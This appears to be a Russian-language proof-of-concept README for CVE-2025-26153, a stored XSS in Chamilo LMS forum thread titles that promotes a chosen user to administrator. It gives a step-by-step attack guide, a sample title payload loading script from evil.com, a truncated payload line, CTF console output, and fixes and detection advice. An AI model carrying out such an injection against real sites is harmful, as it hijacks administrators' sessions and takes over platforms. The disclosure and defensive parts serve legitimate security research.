Chamilo LMS (<= v2.0) — Хранимый XSS для повышения привилегий POC [CVE-2025-26153]

Обзор

Данный репозиторий содержит proof of concept, демонстрирующий хранимую межсайтовую XSS-уязвимость в Chamilo LMS, которая может быть использована для повышения привилегий от обычного пользователя до администратора платформы. Уязвимость внесена в каталог и устранена: https://nvd.nist.gov/vuln/detail/CVE-2025-26153

Детали уязвимости

Информация о CVE

• Приложение: Chamilo LMS <= v2.0
• Тип уязвимости: Хранимый XSS, приводящий к повышению привилегий

Технические детали

Уязвимые места кода:

1. /public/main/forum/forumqualify.php — строка 277

   root@kitploit:~

   $form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
   

2. /public/main/forum/viewforum.php — строка 369

   root@kitploit:~

   .$thread->getTitle().'</a>';
   

3. Есть и другие!

Корневая причина:

• Названия тем форума хранятся без надлежащей санитизации
• Названия тем выводятся без экранирования HTML в нескольких местах
• Отсутствует политика безопасности контента (CSP), предотвращающая выполнение XSS

Пошаговое руководство по повышению привилегий

Этап 1: Сбор данных

Шаг 1. Получите информацию о целевой учётной записи

1. Войдите в Chamilo LMS
2. Перейдите в Социальная сеть -> Личные данные
3. Откройте user_info и запишите следующую информацию:
   • ID пользователя
   • Имя пользователя
   • Имя
   • Фамилия
   • Адрес электронной почты

Шаг 2. Сгенерируйте собственный эксплойт-нагрузку

1. Запустите генератор эксплойт-нагрузки:
   root@kitploit:~

   python generate_payload.py
   

2. Введите целевой User ID из шага 1
3. Введите информацию об описании, которую вы не хотите менять (или укажите новые значения)
4. Скрипт создаст настраиваемый файл payload.js

Шаг 3. Разместите эксплойт-нагрузку внешне

1. Загрузите сгенерированный payload.js в публичный хостинг:
   • GitHub Gist (рекомендуется)
   • GitHub Pages
   • Собственный веб-сервер
2. Запишите прямую ссылку на файл эксплойт-нагрузки

Этап 2: Внедрение и выполнение XSS

Шаг 4. Откройте социальные группы

1. Войдите в Chamilo LMS (можно с любой учётной записью)
2. Перейдите в Социальная сеть -> Социальные группы

Шаг 5. Вступите или создайте социальную группу

1. Вступите в существующую социальную группу или
2. Создайте новую социальную группу при необходимости

Шаг 6. Разверните XSS-эксплойт-нагрузку

1. Создайте новую тему в социальной группе
2. В поле названия темы введите следующую XSS-эксплойт-нагрузку:
   root@kitploit:~

   eval(x.responseText);x.send()">
   

3. Замените YOUR-HOST-SERVER на фактический URL вашего хостинга
4. Отправьте тему

Шаг 7. Запустите повышение привилегий

1. Дождитесь, пока пользователь с правами администратора просмотрит социальную группу
2. Когда администратор просмотрит вредоносную тему, XSS-эксплойт-нагрузка автоматически выполнится в фоновом режиме
3. Повышение привилегий происходит НЕ незаметно — администратор будет перенаправлен в список пользователей
4. Указанный целевой пользователь будет повышен до администратора платформы без каких-либо видимых признаков

Этап 3: Проверка

Шаг 8. Подтвердите повышение привилегий

1. Войдите как целевой пользователь
2. Проверьте, были ли предоставлены права администратора
3. Убедитесь в доступе к административным функциям

Использование генератора эксплойт-нагрузки

Скрипт generate_payload.py позволяет настраивать атаку повышения привилегий:

Входные параметры:

• Целевой User ID
• Новое имя пользователя
• Новый пароль (необязательно)
• Официальный код
• Адрес электронной почты
• Имя, фамилия, телефон (необязательно)

Пример хода атаки

1. Злоумышленник создаёт вредоносную тему форума
   └── Название: <script src=//evil.com/payload.js></script>

2. Администратор просматривает форум и открывает тему
   └── Браузер загружает и выполняет внешний JavaScript

3. Эксплойт-нагрузка создаёт скрытую форму с данными повышения привилегий
   └── Нацеливается на конкретный User ID для повышения до администратора

4. Форма автоматически отправляется через CSRF-атаку
   └── Автоматически используются сессионные cookie администратора

5. Целевой пользователь становится администратором платформы
   └── Злоумышленник получает полный контроль над платформой

Стратегии смягчения уязвимости

Немедленные исправления

1. Санитизация ввода

   root@kitploit:~

   // Было
   $threadEntity->getTitle()
   
   // Стало  
   htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
   

2. Кодирование вывода

   root@kitploit:~

   <!-- Было -->
   {{ thread.title }}
   
   <!-- Стало -->
   {{ thread.title|escape }}
   

3. Политика безопасности контента

   root@kitploit:~

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Долгосрочные решения

• Внедрить комплексную систему валидации входных данных
• Регулярные проверки безопасности кода
• Автоматическое тестирование безопасности в конвейере CI/CD
• Обучение команды разработчиков вопросам безопасности

Обнаружение и мониторинг

Анализ журналов

Отслеживайте:

• Необычные создания/изменения учётных записей администраторов
• Подозрительные названия тем форума, содержащие HTML/JavaScript
• Загрузку внешних скриптов из недоверенных доменов

Правовой отказ от ответственности

ВАЖНОЕ ЮРИДИЧЕСКОЕ УВЕДОМЛЕНИЕ

Данный proof of concept предоставлен только для образовательных целей и санкционированного тестирования безопасности.

• Используйте его только против систем, которыми вы владеете, или на тестирование которых у вас есть явное письменное разрешение
• Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций
• Данное исследование предназначено для помощи организациям в улучшении их позиции безопасности
• Авторы не несут ответственности за любое неправомерное использование этой информации

Благодарности за исследование

Обнаружение и анализ: US Cyber Combine

Тестовая среда: USCG CTF Environment

Вывод консоли при успешной атаке:

XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200